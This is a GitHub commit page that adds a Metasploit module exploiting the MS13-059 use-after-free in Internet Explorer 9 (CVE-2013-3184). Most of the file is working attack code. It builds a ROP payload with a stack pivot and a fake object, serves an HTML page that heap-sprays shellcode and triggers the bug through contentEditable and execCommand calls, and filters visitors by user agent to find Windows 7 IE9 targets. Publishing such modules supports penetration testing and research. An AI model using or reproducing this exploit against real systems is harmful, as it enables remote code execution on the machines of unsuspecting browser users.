Skip to content

Commit 5b32c63

Browse files
author
jvazquez-r7
committed
Land rapid7#2308, @wchen-r7's exploit for MS13-059
2 parents 1ea3d91 + ea8cd2d commit 5b32c63

File tree

1 file changed

+173
-0
lines changed

1 file changed

+173
-0
lines changed
Lines changed: 173 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,173 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free",
19+
'Description' => %q{
20+
This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9,
21+
it seems to only affect certain releases of mshtml.dll. For example: This module
22+
can be used against version 9.0.8112.16446, but not for 9.0.8112.16421. IE 8
23+
requires a different way to trigger the vulnerability, but not currently covered
24+
by this module.
25+
26+
The issue is specific to the browser's IE7 document compatibility, which can be
27+
defined in X-UA-Compatible, and the content editable mode must be enabled. An
28+
"onmove" event handler is also necessary to be able to trigger the bug, and the
29+
event will be run twice before the crash. The first time is due to the position
30+
change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable'
31+
object is created during a "SelectAll" command, and this object will be used later
32+
on for the crash. The second onmove event seems to be triggered by a InsertButton
33+
(or Insert-whatever) command, which is also responsible for the free of object
34+
CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will
35+
then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and
36+
then passes this on to the next functions (GetLineInfo -> QIClassID). When this
37+
reference arrives in function QIClassID, an access violation finally occurs when
38+
the function is trying to call QueryInterface() with the bad reference, and this
39+
results a crash. Successful control of the freed memory may leverage arbitrary code
40+
execution under the context of the user.
41+
42+
Note: It is also possible to see a different object being freed and used, doesn't
43+
always have to be CFlatMarkupPointer.
44+
},
45+
'License' => MSF_LICENSE,
46+
'Author' =>
47+
[
48+
'corelanc0d3r', # Vuln discovery, PoC
49+
'sinn3r' # Metasploit
50+
],
51+
'References' =>
52+
[
53+
[ 'CVE', '2013-3184' ],
54+
[ 'OSVDB', '96182' ],
55+
[ 'MSB', 'MS13-059' ],
56+
[ 'BID', '61668' ],
57+
[ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-194/' ],
58+
[ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-195/' ]
59+
],
60+
'Platform' => 'win',
61+
'Targets' =>
62+
[
63+
# Vulnerable IE9 tested: 9.0.8112.16446
64+
[ 'Automatic', {} ],
65+
[ 'IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)', {} ]
66+
],
67+
'Payload' =>
68+
{
69+
'BadChars' => "\x00",
70+
'StackAdjustment' => -3500
71+
},
72+
'DefaultOptions' =>
73+
{
74+
'InitialAutoRunScript' => 'migrate -f'
75+
},
76+
'Privileged' => false,
77+
'DisclosureDate' => "Jun 27 2013",
78+
'DefaultTarget' => 0))
79+
end
80+
81+
def rnd_dword
82+
rand_text_alpha(4).unpack("V").first
83+
end
84+
85+
def get_fake_obj
86+
# edx,dword ptr [eax]
87+
# ...
88+
# call edx
89+
obj = [0x20302020].pack("V*") # EAX points to this (Target spray 0x20302020)
90+
obj << [rnd_dword].pack("V*")
91+
obj << [rnd_dword].pack("V*")
92+
obj << [rnd_dword].pack("V*")
93+
obj << [rnd_dword].pack("V*")
94+
95+
return obj
96+
end
97+
98+
# Target spray 0x20302020
99+
# ESI is our fake obj, with [esi]=0x20302020, [esi+4]=0x42424242, so on
100+
# eax=20302020 ebx=80004002 ecx=0250d890 edx=cccccccc esi=03909b68 edi=0250d8cc
101+
# eip=cccccccc esp=0250d87c ebp=0250d8a8 iopl=0 nv up ei ng nz na po cy
102+
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283
103+
# cccccccc ?? ???
104+
def get_payload
105+
code = ''
106+
code << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
107+
code << "\x61\x9d" # popad; popfd
108+
code << payload.encoded
109+
110+
stack_pivot = [
111+
0x7c342643, # xchg eax, esp; pop edi; add [eax], al, pop ecx; ret
112+
0x0c0c0c0c
113+
].pack("V*")
114+
115+
p = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
116+
117+
return p
118+
end
119+
120+
def is_win7_ie9?(agent)
121+
(agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/)
122+
end
123+
124+
# The meta-refresh seems very necessary to make the object overwrite more reliable.
125+
# Without it, it only gets about 50/50
126+
def get_html(cli, req)
127+
js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj, ::Rex::Arch.endian(target.arch))
128+
js_payload = ::Rex::Text.to_unescape(get_payload, ::Rex::Arch.endian(target.arch))
129+
130+
html = %Q|
131+
<html>
132+
<meta http-equiv="X-UA-Compatible" content="IE=7"/>
133+
<meta http-equiv="refresh" content="2"/>
134+
<head>
135+
<script language='javascript'>
136+
#{js_property_spray}
137+
138+
var fake_obj = unescape("#{js_fake_obj}");
139+
var s = unescape("#{js_payload}");
140+
141+
sprayHeap({shellcode:s});
142+
143+
function setupPage() {
144+
document.body.style.position = 'absolute';
145+
document.body.contentEditable = 'true';
146+
document.body.style.right = '1';
147+
}
148+
149+
function hitMe() {
150+
document.execCommand('SelectAll');
151+
document.execCommand('InsertButton');
152+
sprayHeap({shellcode:fake_obj, heapBlockSize:0x10});
153+
document.body.innerHTML = '#{Rex::Text.rand_text_alpha(1)}';
154+
}
155+
</script>
156+
</head>
157+
<body onload="setupPage()" onmove="hitMe()" />
158+
</html>
159+
|
160+
161+
html.gsub(/^\t\t/, '')
162+
end
163+
164+
def on_request_uri(cli, request)
165+
if is_win7_ie9?(request.headers['User-Agent'])
166+
print_status("Sending exploit...")
167+
send_response(cli, get_html(cli, request), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
168+
else
169+
print_error("Not a suitable target: #{request.headers['User-Agent']}")
170+
send_not_found(cli)
171+
end
172+
end
173+
end

0 commit comments

Comments
 (0)